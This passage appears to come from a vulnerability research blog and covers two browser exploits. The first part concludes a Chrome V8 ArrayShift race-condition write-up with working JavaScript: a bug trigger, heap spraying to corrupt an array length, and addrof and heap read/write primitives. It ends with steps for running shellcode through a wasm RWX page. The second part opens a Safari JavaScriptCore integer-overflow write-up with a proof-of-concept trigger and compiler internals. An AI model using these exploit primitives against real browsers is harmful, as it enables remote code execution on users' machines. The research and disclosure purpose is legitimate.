After reclaiming memory, there’s the need to find certain markers in memory, as the objects that reclaim memory might land at different offsets every time. Due to this, should the exploit fail to reproduce, it needs to be restarted to either win the race or correctly find the objects in the reclaimed space. The possible causes of failure are losing the race condition or the spray not being successful at placing objects where they’re needed.

Triggering the Vulnerability

Again, let’s start with a test case that triggers an assert in debug builds. The following JavaScript code triggers the vulnerability, crashing the engine on debug builds via a DCHECK_NE statement:

				
					 function trigger() {

[1]

    let buggy_array_size = 120;
    let PUSH_OBJ = [324];
    let barr = [1.1];
    for (let i = 0; i ﹤ buggy_array_size; i++) barr.push(PUSH_OBJ);

    function dangling_reference() {

[2]

      barr.shift();
      for (let i = 0; i ﹤ 10000; i++) { console.i += 1; }
      let a = barr[0];

[3]

      function gcing() {
        const v15 = new Uint8ClampedArray(buggy_array_size*0x400000);
      }
      let gcit = gcing();
      for (let v19 = 0; v19 ﹤ 500; v19++) {}
    }

[4]

    for (let i = 0; i ﹤ 4; i++) {
      dangling_reference();
    }
 }

trigger();
				
			

Trigerring the vulnerabiliy comprises the following steps:

  • At [1] an array barr is created by pushing objects PUSH_OBJ into it. These serve as a marker at later stages.
  • At [2] the bug is triggered by performing the shift on the barr array. A for loop triggers the compilation early, and a value from the array is loaded to trigger the right optimization reduction.
  • At [3] the gcing() function is responsible for triggering a garbage collection after each iteration. When the vulnerability is triggered, the reference to barr is freed. A dangling pointer is then held at this point.
  • At [4] there is the need to stop executing the function to be optimized exactly on the iteration that it gets optimized. The concurrent reference to the Filler object is obtained only at this iteration.

Reclaiming Memory and Corrupting an Array Length

The next excerpt of the code explains how the freed memory is reclaimed by the desired arrays in the full exploit. The goal of the following code is to get the elements of barr to point to the tmpfarr and tmpMarkerArray objects in memory, so that the length can be corrupted to finally build the exploit primitives.

Leveraging the barr array

The above image shows how the elements of the barr array are altered throughout the exploit. We can see how, in the last state, barr‘s elements point to the in-memory JSObjects tmpfarr and tmpArrayMarker, which will allow corrupting their lengths via statements like barr[2] = 0xffff. Bear in mind that the images are not comprehensive. JSObjects represented in memory contain fields, such as Map or array length, that are not shown in the above image. Refer to the References section for details on complete structures.

				
					let size_to_search = 0x8c;
let next_size_to_search = size_to_search+0x60;
let arr_search = [];
let tmparr = new Array(Math.floor(size_to_search)).fill(9.9);
let tmpMarkerArray =  new Array(next_size_to_search).fill({
  a: placeholder_obj, b: placeholder_obj, notamarker: 0x12341234, floatprop: 9.9
});
let tmpfarr= [...tmparr];
let new_corrupted_length = 0xffff;

for (let v21 = 0; v21 ﹤ 10000; v21++) {

[1]

  arr_search.push([...tmpMarkerArray]);
  arr_search.push([...tmpfarr]);

[2]

  if (barr[0] != PUSH_OBJ) {
    for (let i = 0; i ﹤ 100; i++) {

[3]

      if (barr[i] == size_to_search) {

[4]

        if (barr[i+12] != next_size_to_search) continue;

[5]

        barr[i] = new_corrupted_length;
        break;
      }
    }
    break;
  }
}

for (let i = 0; i ﹤ arr_search.length; i++) {

[6]

  if (arr_search[i]?.length == new_corrupted_length) {
    return [arr_search[i], {
      a: placeholder_obj, b: placeholder_obj, findme: 0x11111111, floatprop: 1.337
    }];
  }
}
				
			

In the following, we describe the above code that alters barr‘s element as shown in the previous figure.

  • Within a loop at [1], several arrays are pushed into another array with the intention of reclaiming the previously freed memory. These actions trigger garbage collection, so that when the memory is freed, the object is moved and overwritten by the desired arrays (tmpfarr and tmpMarkerArray).
  • The check at [2] observes that the array no longer contains any of the initial values pushed. This means that the vulnerability has been triggered correctly and barr now points to some other part of memory.
  • The intention of the check at [3] is to identify the array element that holds the length of the tmpfarr array.
  • The check at [4] verifies that the adjacent object has the length for tmpMarkerArray.
  • The length of the tmpfarr is then overwritten at [5] with a large value, so that it can be used to craft the exploit primitives.
  • Finally at [6], a search for the corrupted array object is performed by querying for the new corrupted length via the JavaScript length property. One thing to note is the optional chaining ?. This is needed here because arr_search[i] might be an undefined value without the length property, breaking JavaScript execution. Once found, the corrupted array is returned.

Creating and Locating the Marker Object

Once the length of an array has been corrupted, it allows reading and writing out-of-bounds within the V8 heap. Certain constraints apply, as reading too far could cause the exploit to fail. Therefore a cleaner way to read-write within the V8 heap and to implement exploit primitives such as addrof is needed.

				
					[1]

for (let i = size_to_search; i ﹤ new_corrupted_length/2; i++) {

[2]

  for (let spray = 0; spray ﹤ 50; spray++) {
    let local_findme = {
      a: placeholder_obj, b: placeholder_obj, findme: 0x11111111, floatprop: 1.337, findyou:0x12341234
    };
    objarr.push(local_findme);
    function gcing() {
      const v15 = new String("Hello, GC!");
    }
    gcing();
  }
  if (marker_idx != -1) break;

[3]

  if (f2string(cor_farr[i]).includes("22222222")){
    print(`Marker at ${i} =﹥ ${f2string(cor_farr[i])}`);
    let aux_ab = new ArrayBuffer(8);
    let aux_i32_arr = new Uint32Array(aux_ab); 
    let aux_f64_arr = new Float64Array(aux_ab);
    aux_f64_arr[0] = cor_farr[i];

[4]

    if (aux_i32_arr[0].toString(16) == "22222222") {
      aux_i32_arr[0] = 0x44444444;
    } else {
      aux_i32_arr[1] = 0x44444444;
    }
    cor_farr[i] = aux_f64_arr[0];

[5]

    for (let j = 0; j ﹤ objarr.length; j++) {
      if (objarr[j].findme != 0x11111111) {
        leak_obj = objarr[j];
        if (leak_obj.findme != 0x11111111) {
          print(`Found right marker at ${i}`);
          marker_idx = i;
          break;
        }
      }
    }
    break;
  }
}
				
			
  • A for loop [1] traverses the array with corrupted length cor_farr. Note that this is one of the parts of potential failure in the exploit. Traversing too far into the corrupted array will likely result in a crash due to reading past the boundaries of the memory page. Thus, a value such as new_corrupted_length/2 was selected at the time of development which was the output of several tests.
  • Before starting to traverse the corrupted array, a minimal memory spray is attempted at [2] in order to have the wanted local_findme object right in the memory pointed by cor_farr. Furthermore, garbage collection is triggered in order to trigger compaction of the newly sprayed objects with the intention of making them adjacent to cor_farr elements.
  • At [3] f2string converts the float value of cor_farr[i] to a string value. This is then checked against the value 22222222 because V8 represents small integers in memory with the last bit set to 0 by left shifting the actual value by one. So 0x11111111 << 1 == 0x22222222 which is the memory value of the small integer property local_findme.findme. Once the marker value is found, several “array views” (Typed Arrays) are constructed in order to change the 0x22222222 part and not the rest of the float value. This is done by creating a 32-bit view aux_i32_arr and a 64-bit aux_f64_arr view on the same buffer aux_ab.
  • A check is performed at [4] to know wether the marker is found in the higher or the lower 32-bit. Once determined, the value is changed for 0x44444444 by using the auxiliary array views.
  • Finally at [5], the objarr array is traversed in order to find the changed marker and the index marker_idx is saved. This index and leak_obj are used to craft exploit primitives within the V8 heap.

Exploit Primitives

The following sections are common to most V8 exploits and are easily accessible from other write-ups. We describe these exploit primitives to explain the caveat of having to deal with the fact that the spray might have resulted in the objects being unaligned in memory.

Address of an Object

				
					function v8h_addrof(obj) {

[1]

  leak_obj.a = obj;
  leak_obj.b = obj;

  let aux_ab = new ArrayBuffer(8);
  let aux_i32_arr = new Uint32Array(aux_ab); 
  let aux_f64_arr = new Float64Array(aux_ab);

[2]

  aux_f64_arr[0] = cor_farr[marker_idx - 1];

[3]

  if (aux_i32_arr[0] != aux_i32_arr[1]) {
    aux_i32_arr[0] = aux_i32_arr[1]
  }  

  let res = BigInt(aux_i32_arr[0]);

  return res;
}
				
			

The above code presents the addrof primitive and consists of the following steps:

  • First, at [1], the target object to leak is placed within the properties a and b of leak_obj and auxiliary array views are created in order to read from the corrupted array cor_farr.
  • At [2], the properties are read from the corrupted array by subtracting one from the marker_idx. This is due to the leak_obj having the properties next to each other in memory; therefore a and b precede the findme property.
  • By checking the upper and lower 32-bits of the read float value at [3], it is possible to tell whether the a and b values are aligned. In case they are not, it means that only the higher 32-bits of the float value contains the address of the target object. By assigning it back to the index 0 of the aux_i32_arr, the function is simplified and it is possible to just return the leaked value by always reading from the same index.

Reading and Writing on the V8 Heap

Depending on the architecture and whether pointer compression is enabled (default on 64-bit architectures), there will be situations where it is needed to read either just a 32-bit tagged pointer (e.g. an object) or a full 64-bit address. The latter case only applies to 64-bit architectures due to the need of manipulating the backing store of a Typed Array as it will be needed to build an arbitrary read and write primitive outside of the V8 heap boundaries.

Below we only present the 64-bit architecture read/write. Their 32-bit counterparts do the same, but with the restriction of reading the lower or higher 32-bit values of the leaked 64-bit float value.

				
					function v8h_read64(v8h_addr_as_bigint) {
  let ret_value = null;
  let restore_value = null;
  let aux_ab = new ArrayBuffer(8);
  let aux_i32_arr = new Uint32Array(aux_ab); 
  let aux_f64_arr = new Float64Array(aux_ab);
  let aux_bint_arr = new BigUint64Array(aux_ab);

[1]

  aux_f64_arr[0] = cor_farr[marker_idx];
  let high = aux_i32_arr[0] == 0x44444444;

[2]

  if (high) {
    restore_value = aux_f64_arr[0];
    aux_i32_arr[1] = Number(v8h_addr_as_bigint-4n);
    cor_farr[marker_idx] = aux_f64_arr[0];
  } else {
    aux_f64_arr[0] = cor_farr[marker_idx+1];
    restore_value = aux_f64_arr[0];
    aux_i32_arr[0] = Number(v8h_addr_as_bigint-4n);
    cor_farr[marker_idx+1] = aux_f64_arr[0];
  }

[3]

  aux_f64_arr[0] = leak_obj.floatprop;
  ret_value = aux_bint_arr[0];
  cor_farr[high ? marker_idx : marker_idx+1] = restore_value;
  return ret_value;
}
				
			

The 64-bit architecture read consists of the following steps:

  • At [1], a check for alignment is done via the marker_idx: if the marker is found in the lower 32-bit value via aux_i32_arr[0], it means that the leak_obj.floatprop property is in the upper 32-bit (aux_i32_arr[1]).
  • Once alignment has been determined, next at [2] the address of the leak_obj.floatprop property is overwritten with the desired address provided by the argument v8h_addr_as_bigint. In addition, 4 bytes are subtracted from the target address because V8 will add 4 with the intention of skipping the map pointer to read the float value.
  • At [3], the leak_obj.floatprop points to the target address in the V8 heap. By reading it through the property, it is possible to obtain 64-bit values as floats and make the conversion with the auxiliary arrays.

This function can also be used to write 64-bit values by adding a value to write as an extra argument and, instead of reading the property, writing to it.

				
					function v8h_write64(what_as_bigint, v8h_addr_as_bigint) {

[TRUNCATED]

    aux_bint_arr[0] = what_as_bigint;
    leak_obj.floatprop = aux_f64_arr[0];

[TRUNCATED]
				
			

As mentioned at the beginning of this section, the only changes required to make these primitives work on 32-bit architectures are to use the provided auxiliary 32-bit array views such as aux_i32_arr and only write or read on the upper or lower 32-bit, as the following snippet shows:

				
					[TRUNCATED]

    aux_f64_arr[0] = leak_obj.floatprop;
    ret_value = aux_i32_arr[0];

[TRUNCATED]
				
			

Using the Exploit Primitives to Run Shellcode

The following steps to run custom shellcode on 64-bit architectures are public knowledge, but are summarized here for the sake of completion:

  1. Create a wasm module that exports a function (eg: main).
  2. Create a wasm instance object WebAssembly.Instance.
  3. Obtain the address of the wasm instance using the addrof primitive
  4. Read the 64bit pointer within the V8 heap at the wasm instance plus 0x68. This will retrieve the pointer to a rwx page where we can write our shellcode to.
  5. Now create a Typed Array of Uint8Array type.
  6. Obtain its address via the addrof function.
  7. Write the previously obtained pointer to the rwx page into the backing store of the Uint8Array, located 0x28 bytes from the Uint8Array address obtained in step 6.
  8. Write your desired shellcode into the Uint8Array one byte at a time. This will effectively write into the rwx page.
  9. Finally, call the main function exported in step 1.

Conclusion

This vulnerability was made possible by a Feb 2021 commit that introduced direct heap reads for JSArrayRef, allowing for the retrieval of a handle. Furthermore, this bug would have flown under the radar if not for another commit in 2018 that introduced measures to crash when double references are held during shift operation on arrays. This vulnerability was patched in June 2021 by disabling left-trimming when concurrent compilation jobs are being executed

The commits and their timeline show that it is not easy for developers to write secure code in a single go, especially in complex environments like JavaScript engines that also include fully-fledged optimizing compilers running concurrently.

We hope you enjoyed reading this. If you are hungry for more, make sure to check our other blog posts.

References

Turbofan definition – https://web.archive.org/web/20210325140355/https://v8.dev/blog/turbofan-jit

Orinoco – GC – https://web.archive.org/web/20210421220936/https://v8.dev/blog/trash-talk

V8 Object representation – http://web.archive.org/web/20210203161224/https://www.jayconrod.com/posts/52/a-tour-of-v8–object-representation

EcmaScript – https://web.archive.org/web/20201126065600/http://www.ecma-international.org/ecma-262/5.1/ECMA-262.pdf

TypedArrays in JS – https://web.archive.org/web/20201115103318/https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray

ArrayShift – https://web.archive.org/web/20210523042109/https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/shift

ArrayPush – https://web.archive.org/web/20210523042046/https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push

Elements Kind – https://web.archive.org/web/20210319122800/https://source.chromium.org/chromium/v8/v8.git/+/5db4a28ef75f893e85b7f505f5528cc39e9deef5:src/objects/elements-kind.h;l=31

https://web.archive.org/web/20210321104253/https://v8.dev/blog/elements-kinds

Fast properties – https://web.archive.org/web/20210326133458/https://v8.dev/blog/fast-properties

Pointer Compression in V8 – https://web.archive.org/web/20230512101949/https://v8.dev/blog/pointer-compression

About Exodus Intelligence

Our world class team of vulnerability researchers discover hundreds of exclusive Zero-Day vulnerabilities, providing our clients with proprietary knowledge before the adversaries find them. We also conduct N-Day research, where we select critical N-Day vulnerabilities and complete research to prove whether these vulnerabilities are truly exploitable in the wild.

For more information on our products and how we can help your vulnerability efforts, visit www.exodusintel.com or contact [email protected] for further discussion.

The post Google Chrome V8 ArrayShift Race Condition Remote Code Execution appeared first on Exodus Intelligence.

Shifting boundaries: Exploiting an Integer Overflow in Apple Safari

20 July 2023 at 18:45

By Vignesh Rao

Overview

In this blog post, we describe a method to exploit an integer overflow in Apple WebKit due to a vulnerability resulting from incorrect range computations when optimizing Javascript code. This research was conducted along with Martin Saar in 2020.

We show how to convert this integer overflow into a stable out-of-bounds read/write on the JavaScriptCore heap. We then show how to use the out-of-bounds read/write to create addrof and fakeobj primitives

Table of Contents

Introduction

Heavy JavaScript use is common in modern web applications, which can quickly bog down performance. To tackle this issue, most web browser engines have added a Just-In-Time (JIT) compiler to compile hot (i.e. heavily used) JavaScript code to assembly. The JIT compiler relies on information collected by the interpreter when running JavaScript code.

The three most common browser vendors have at least two JIT compilers, one of them being a non-optimizing baseline compiler performing little to no optimization and the other being an optimizing compiler applying heavy optimization to the JavaScript code during compilation.

The WebKit browser engine, used by the Safari browser, has three JIT compilers, namely the baseline compiler, the DFG (Data Flow Graph) compiler, and the FTL (Faster Than Light) compiler. The DFG and FTL are optimizing compilers that operate on special intermediate representations of the target JavaScript source. For this post, we will be focusing on the FTL JIT compiler.

From the post Speculation in JavaScript:

The FTL JIT, or faster than light JIT, which does comprehensive compiler optimizations. It’s designed for peak throughput. The FTL never compromises on throughput to improve compile times. This JIT reuses most of the DFG JIT’s optimizations and adds lots more. The FTL JIT uses multiple IRs (DFG IR, DFG SSA IR, B3 IR, and Assembly IR).

The above-linked article, written by a WebKit developer, describes clearly various JIT concepts in JavaScriptCore, the JavaScript engine within WebKit. Its length is more than matched by the insight it provides.

Pre-requisites

Before diving into the vulnerability details, we will cover a few concepts required to understand the vulnerability better. If you are already familiar with these, feel free to skip this section.

Tiers of Execution in JSC

As mentioned before, all modern browsers have at least 2 tiers of execution – the interpreter and the JIT compiler. Each tier operates on a specific representation of the code. For example, the interpreter works with the bytecode, while the JIT compilers typically work with a lower-level intermediate representation. The following are the tiers of execution in JavaScriptCore:

  • The Low Level Interpreter (LLINT): This is the first tier of execution in the engine operating on the bytecode directly. LLINT is unique as it is written in a custom assembly language called “offlineasm”. This is the slowest tier of execution but accounts for all possible cases that can arise.
  • The Baseline JIT: This is the second tier of execution. It is a template JIT compiler that compiles the bytecode into native assembly without many optimizations. It is faster than the interpreter but slower than other JIT tiers due to a lack of optimizations.
  • The Data Flow Graph (DFG) JIT: This is the third tier of execution. It lowers the bytecode into an intermediate representation called DFG IR. It then uses this IR to perform optimizations. The goal of the DFG JIT is to balance compilation time with the performance of the generated native code. Hence while performing important optimizations, it skips most other optimizations to generate code quickly.
  • The Faster Than Light (FTL) JIT: This is the fourth tier of execution and operates on the DFG IR as well as other IRs called the B3 IR and AIR. The goal of this compiler is to generate code that runs extremely fast while compromising on the speed of compilation. It first optimizes the DFG IR and then lowers it into B3 IR for more optimizations. Next, FTL lowers B3 IR into AIR which is then used to generate the native code.

The following figure highlights the tiers of execution with the code representation they use.

JavaScriptCore Tiers and Code Representations

B3 Strength Reduction Phase

The strength reduction phase for the B3 IR is a large phase that handles things like constant folding and range analysis along with the actual strength reduction. This phase is defined in the Source/JavaScriptCore/b3/B3ReduceStrength.cpp file. One of the relevant classes used in this phase is the class IntRange with two member variables m_min and m_max.

				
					// File Name: Source/JavaScriptCore/b3/B3ReduceStrength.cpp

class IntRange {
public:
    ....
private:
    int64_t m_min { 0 };
    int64_t m_max { 0 };
};
				
			

Objects of IntRange type are used to represent integer ranges for B3 nodes with integer values. For example, the Add node in the B3 IR represents the result of the addition of its two operands. An instance of IntRange can be used to represent the range of the Add node, meaning the range of the addition result.

The m_min and m_max members are used to hold the minimum and the maximum values of the range, respectively. For example, if there is an Add node with a result that lies between [0, 100], then the result range can be represented with an IntRange object with m_min as 0 and m_max as 100. If you have worked with v8’s Turbofan, this will be reminiscent of the Typer Phase. If the range of a node cannot be determined, then it is assigned the top range, which is a range that encompasses the minimum and the maximum values of the given type. Hence, for a node with an int32 result, the top range would be [INT_MIN, INT_MAX]. The IntRange class has a generic function called top(), which returns an IntRange instance that covers the entire range for a given type.

The IntRange class has a number of methods that allow operations on ranges. For example, the add() method takes another range as an argument and returns the result of adding the two ranges as a new range. Only specific math operations are supported currently, which include bitwise left/right shifts, bitwise and, add, sub, and mul, among others.

We now know how ranges are represented. But who assigns ranges to nodes? For this, there is a function called rangeFor() in the strength reduction phase.

				
					// File Name: Source/JavaScriptCore/b3/B3ReduceStrength.cpp

IntRange rangeFor(Value* value, unsigned timeToLive = 5) {

[1] 
    
    if (!timeToLive)
        return IntRange::top(value-﹥type());
    switch (value-﹥opcode()) {
    
[2]
    
    case Const32:
    case Const64: {
        int64_t intValue = value-﹥asInt();
        return IntRange(intValue, intValue);
    }

[TRUNCATED]

[3]
    
    case Shl:
        if (value-﹥child(1)-﹥hasInt32()) {
            return rangeFor(value-﹥child(0), timeToLive - 1).shl(
                value-﹥child(1)-﹥asInt32(), value-﹥type());
        }
        break;

[TRUNCATED]

    default:
        break;
    }

    return IntRange::top(value-﹥type());
}
				
			

The above snippet shows a stripped-down version of the rangeFor() function. This function accepts a Value, which is the B3 speak for a node, and an integer timeToLive as arguments. If the timeToLive argument is zero, then it returns the top range for the node. Otherwise, it proceeds to calculate the range of the node based on the node opcode in a switch case. For example, if it’s a constant node, then the range of that node is calculated by creating an IntRange with the min and max values set to the constant value.

For nodes with more complex functionality, like those that have operands, there arises the need to first find out the range of the operand. The rangeFor() function often calls itself recursively in such cases. At [3], for example, the range calculation for the shift left operation node is shown. The shl node has 2 operands – the value to be shifted and the value that specifies the shift amount. In the rangeFor() function, the range is only calculated if the shift amount is a constant. First, the range of the value that is to be shifted is found by calling the rangeFor() function on the operand of the shift left node. We can see that when this function is recursively called, the timeToLive value is decremented by one. This is done to avoid infinite recursion as the top value is returned when timeToLive is zero. Once the range of the operand is found, the shl operation is performed on the range by calling the shl() method of the IntRange class. The shift amount and the type of the operand are passed to the function as arguments. This function will return the range of the shl node based on the value to be shifted and the shift amount.

The rangeFor() function only supports a few nodes under specific cases, like the constant shift amount case for the shl node. For all other nodes and cases, the topvalue is returned.

The next question that arises is how these ranges are used. The first thought that comes to mind is that it might be used for bounds check elimination. However, that is not the case in this phase. Bounds checks are eliminated in the FTL Integer Range Optimization phase, which works with the higher level DFG IR and has already run its course by the time we reach the b3 strength reduction phase. So let us look at where rangeFor() is used in the strength reduction phase. We see that the result of this range computation is used to simplify the following B3 nodes:

  1. CheckAdd – The arithmetic add operation with checks for integer overflows.
  2. CheckSub – The arithmetic subtract operation with checks for integer overflows.
  3. CheckMul – The arithmetic multiply operation with checks for integer overflows.

The code for simplifying the CheckSub node into its unchecked version (a simple Sub node without overflow checks) is shown in the following snippet. The other nodes are dealt with in a similar fashion.

				
					// File Name: Source/JavaScriptCore/b3/B3ReduceStrength.cpp

[1]

IntRange leftRange = rangeFor(m_value-﹥child(0));
IntRange rightRange = rangeFor(m_value-﹥child(1));

[2] 

if (!leftRange.couldOverflowSub(rightRange, m_value-﹥type())) {

[3]

    replaceWithNewValue(
        m_proc.add(Sub, m_value-﹥origin(), m_value-﹥child(0), m_value-﹥child(1)));
    break;
}
				
			

At [1], the ranges for the left and right operands of the CheckSub operation are computed. Then, at [2], the ranges are used to check if this CheckSub operation can overflow. If it cannot overflow, then the CheckSub is replaced with a simple Suboperation ([3]).

The same logic also applies to the CheckAdd and the CheckMul nodes. Hence we see that the range analysis is used to eliminate the integer overflow checks from the Addition, Subtraction, and Multiplication operations.

Vulnerability

The vulnerability is an integer overflow while calculating the range of an arithmetic left shift operation, in the strength reduction phase of the FTL (found in WebKit/Source/JavaScriptCore/b3/B3ReduceStrength.cpp). Let’s take a look at the following code snippet from the above-mentioned file:

				
					// File Name: Source/JavaScriptCore/b3/B3ReduceStrength.cpp
template﹤typename T﹥
IntRange shl(int32_t shiftAmount)
{
    T newMin = static_cast﹤T﹥(m_min) ﹤﹤ static_cast﹤T﹥(shiftAmount);
    T newMax = static_cast﹤T﹥(m_max) ﹤﹤ static_cast﹤T﹥(shiftAmount);

    if ((newMin ﹥﹥ shiftAmount) != static_cast﹤T﹥(m_min))
        newMin = std::numeric_limits﹤T﹥::min();
    if ((newMax ﹥﹥ shiftAmount) != static_cast﹤T﹥(m_max))
        newMax = std::numeric_limits﹤T﹥::max();

    return IntRange(newMin, newMax);
}
				
			

The shl() function is responsible for calculating the range of the shift left operation. As seen in the previous section, the m_min and m_max are class variables that hold the minimum and maximum value for a “variable”. We are referring to it as a variable here for simplicity, but this range is associated with the b3 node on which this operation is being performed. This function is called when there is a left shift operation on the variable. It updates the range (the m_min, m_max pair) of the variable to reflect the state after the left shift.

The logic used is simple. It first shifts the m_min value, which is the minimum value that the variable can have, by the shift amount to find the new minimum (stored in the newMin variable in the above snippet). It does the same with m_max. The function then performs a check for overflow. It right shifts the value and checks that it is equal to the old value before the left shift was done on the range. Keep in mind that the right shift is sign extended. Suppose that the original minimum before the left shift was 0x7fff_fff0, then after a left shift by one it will overflow into 0xffff_ffe0 (this is the negative number, -32, in hex). However, when this is again right shifted by 1, in the check for overflow on line 8, it is sign extended so the resulting value becomes 0xfffffff0 (the number -16 in hex). This is not equal to the original value, so the compiler knows that it overflowed and takes the conservative approach of setting the lower bounds to INT_MIN.

Even though overflow checks are performed, they are not sufficient.

Consider the example of an initial range of the input operand being [0, 0x7ffffffe] and the shift value of 1. The function detects that the upper bound may overflow and assigns the upper bound of the result as INT_MAX. However, it never changes the lower bound as the lower bounds cannot overflow (0<<1 = 0). Thus the range of the result value is calculated as [0,INT_MAX] where INT_MAX = 0x7fffffff. However, when the left shift is performed on the upper bound (0x7ffffffe) of the input range, it may overflow, become negative, and more importantly become smaller than the lower bound (0) of the input range. To wit, 0x7ffffffe<<1 = 0xfffffffc = -4. Thus the actual value, which is in the range [-4, INT_MAX], can fall outside the range computed by the FTL JIT, which is [0, INT_MAX].

Trigger

Now that we see what the bug is, we try to trigger it. For triggering it, we know that we need to call the range analysis on the shl opcode, which will be done if we use the result of the shift in some other operation like add, sub, or mul, that calls rangeFor() on its operands. Additionally, the shift amount is required to be a constant value; otherwise the top range is selected. Given the above constraints, a simple trigger can be constructed as follows:

				
					function jit(idx, times){
    // Inform the compiler that this is a number
    // with range [0, 0x7fff_ffff]
    let id = idx & 0x7fffffff;   
    // Bug trigger - This will overflow if id is large enough that
    // FTL thinks range is [0, INT_MAX]
    // Actual range is [INT_MIN, INT_MAX]
    let b = id ﹤﹤ 2;              
    
    // The sub calls `rangeFor` on its operands 
    return b-1;                    
}

function main(){
    // JIT compile the function with legitimate value to train the compiler
    for (let k=0; k﹤1000000; k++) { jit(k %10); } 
}

main()
				
			

Although the above PoC shows how to trigger the calculation of an incorrect range, it does not yet do anything else. Let us dump the B3 IR for the jit() function and check. In the jsc shell, the b3 IR can be dumped using the command line argument --dumpB3GraphAtEachPhase=true while running the shell. The “Reduce Strength” phase is called a few times in the b3 pipeline, so let us dump the IR and compare the graph immediately after generating the IR and after the last call to this phase. The relevant parts of the graph are shown below.

The following is the graph immediately after generating the IR:

				
					b3      Int32 b@132 = BitAnd(b@63, $2147483647(b@131), D@30)
...
b3      Int32 b@145 = Shl(b@132, b@144, D@34)
...
b3      Int32 b@155 = Const32(-1, D@44)
b3      Int32 b@156 = CheckAdd(b@145:WarmAny, $-1(b@155):WarmAny, b@145:ColdAny, generator = 0x7f297b0d9440, earlyClobbered = [], lateClobbered = [], usedRegisters = [], ExitsSideways|Reads:Top, D@38)
				
			

The b@132 node holds the result of the bit wise and that we added to tell the compiler that our input is an integer. The b@145 node is the result of the shl operation and the b@156 node the result of the add operation. The original code in the PoC calls return b-1. Here the compiler simplifies the subtraction into an addition by the time we got to the b3 phase. The addition is represented as a CheckAdd , which means that overflow checks are conducted for this add operation during codegen.

Below is the graph after the last call to the Strength Reduction Phase:

				
					b3      Int32 b@132 = BitAnd(b@63, $2147483647(b@131), D@30)
b3      Int32 b@27 = Const32(2, D@33)
b3      Int32 b@145 = Shl(b@132, $2(b@27), D@34)
b3      Int32 b@155 = Const32(-1, D@44)
b3      Int32 b@26 = Add(b@145, $-1(b@155), D@38)
				
			

Most steps are the same except for the last line: the CheckAdd operation was reduced to a simple Add operation, which lacks overflow checks during codegen. This substitution should not have happened as this operation can theoretically overflow and hence should require overflow checks. Therefore, based on this IR we can see that the bug is triggered.

Due to the incorrect range computation in the shl() function, the CheckAdd node incorrectly determines that the subtraction operation cannot overflow and drops the overflow checks to convert the node into an ordinary Add node. This can lead to an integer overflow vulnerability in the generated code. This gives us a way to convert the range overflow into an actual integer overflow in the JIT-ed code. Next, we will see how this can be leveraged to get a controlled out-of-bounds read/write on the JavaScriptCore heap.

Exploitation

To exploit this bug, we first try to convert the possible integer overflow into an out-of-bounds read/write on a JavaScript Array. After we get an out-of-bounds read/write, we create the addrof and fakeobj primitives. We need some knowledge of how objects are represented in JavaScriptCore. However, this has already been covered in detail by many others, so we will skip it for this post. If you are unfamiliar with object representation in JSC, we urge you to check out LiveOverflow’s excellent blogs on WebKit and the “Attacking JavaScript Engines” Phrack article by Samuel Groß.

We start by covering some concepts on the DFG.

DFG Relationships

In this section, we dive deeper into how DFG infers range information for nodes. It is not necessary to understand the bug, but it allows for a deeper understanding of the concept. If you do not feel like diving too deep, then feel free to skip to the next section. You will still be able to understand the rest of the post.

As mentioned before, JSC has 3 JIT compilers: the baseline JIT, the DFG JIT, and the FTL JIT. We saw that this vulnerability lies in the FTL JIT code and occurs after the DFG optimizations are run. Since the incorrect range is only used to reduce the “checked” version of Add, Sub and Mul nodes and never used anywhere else, there is no way of eliminating a bounds check in this phase. Thus it is necessary to look into the DFG IR phases, which take place prior to the code being lowered to B3 IR, for ways to remove bounds checks.

An interesting phase for the DFG IR is the Integer Range Optimization Phase (WebKit/Source/JavaScriptCore/dfg/DFGIntegerRangeOptimizationPhase.cpp), which attempts to optimize certain instructions based on the range of their input operands. Essentially, this phase is only executed in the FTL compiler and not in the DFG compiler, but since it operates on the DFG IR, we refer to this as a DFG phase. This phase can be considered analogous to the “Typer phase” in Turbofan, the Chrome JIT compiler, or the “Range Analysis Phase” in IonMonkey, the Firefox JIT compiler. The Integer Range Optimization Phase is fairly complex overall, therefore only details relevant to this exploit are discussed here.

In the Integer Range Optimization phase, the range of a variety of nodes are computed in terms of Relationship class objects. To clarify how the Relationship objects work, let @a, @b, and @c be nodes in the IR. If @a is less than @b, it is represented in the Relationship object as @a < @b + 0. Now, this phase may encounter another operation on the node @a, which results in the relationship @a > @c + 5. The phase keeps track of all such relationships, and the final relationship is computed by a logical and of all the intermediate relationships. Thus, in the above case, the final result would be @a > @c + 5 && @a < @b + 0.

In the case of the CheckInBounds node, if the relationship of the index is greater than zero and less than the length, then the CheckInBounds node is eliminated. The following snippet highlights this.

				
					// File Name: Source/JavaScriptCore/dfg/DFGIntegerRangeOptimizationPhase.cpp
// WebKit svn changeset: 266775

case CheckInBounds: {
    auto iter = m_relationships.find(node-﹥child1().node());
    if (iter == m_relationships.end())
        break;

    bool nonNegative = false;
    bool lessThanLength = false;
    for (Relationship relationship : iter-﹥value) {
        if (relationship.minValueOfLeft() ﹥= 0)
            nonNegative = true;

        if (relationship.right() == node-﹥child2().node()) {
            if (relationship.kind() == Relationship::Equal
                && relationship.offset() ﹤ 0)
                lessThanLength = true;

            if (relationship.kind() == Relationship::LessThan
                && relationship.offset() ﹤= 0)
                lessThanLength = true;
        }
    }

    if (DFGIntegerRangeOptimizationPhaseInternal::verbose)
        dataLogLn("CheckInBounds ", node, " has: ", nonNegative, " ", lessThanLength);

    if (nonNegative && lessThanLength) {
        executeNode(block-﹥at(nodeIndex));
        // We just need to make sure we are a value-producing node.
        node-﹥convertToIdentityOn(node-﹥child1().node());
        changed = true;
    }
    break;
}
				
			

The CompareLess node sets the relationship to @a < @b + 0 where @a is the first operand of the compare operation and @b is the second operand. If the second operand is array.length, where array is any JavaScript array, then this will set the value of the @a node to be less than the length of the array. The following snippet shows the corresponding code in the phase.

				
					// File Name: Source/JavaScriptCore/dfg/DFGIntegerRangeOptimizationPhase.cpp
// WebKit svn changeset: 266775

case CompareLess:
    relationshipForTrue = Relationship::safeCreate(
        compare-﹥child1().node(), compare-﹥child2().node(),
        Relationship::LessThan, 0);
    break;
				
			

A similar case happens for the CompareGreater node, which can be used to satisfy the second condition for removing the check bounds node, namely if the value is greater than zero.

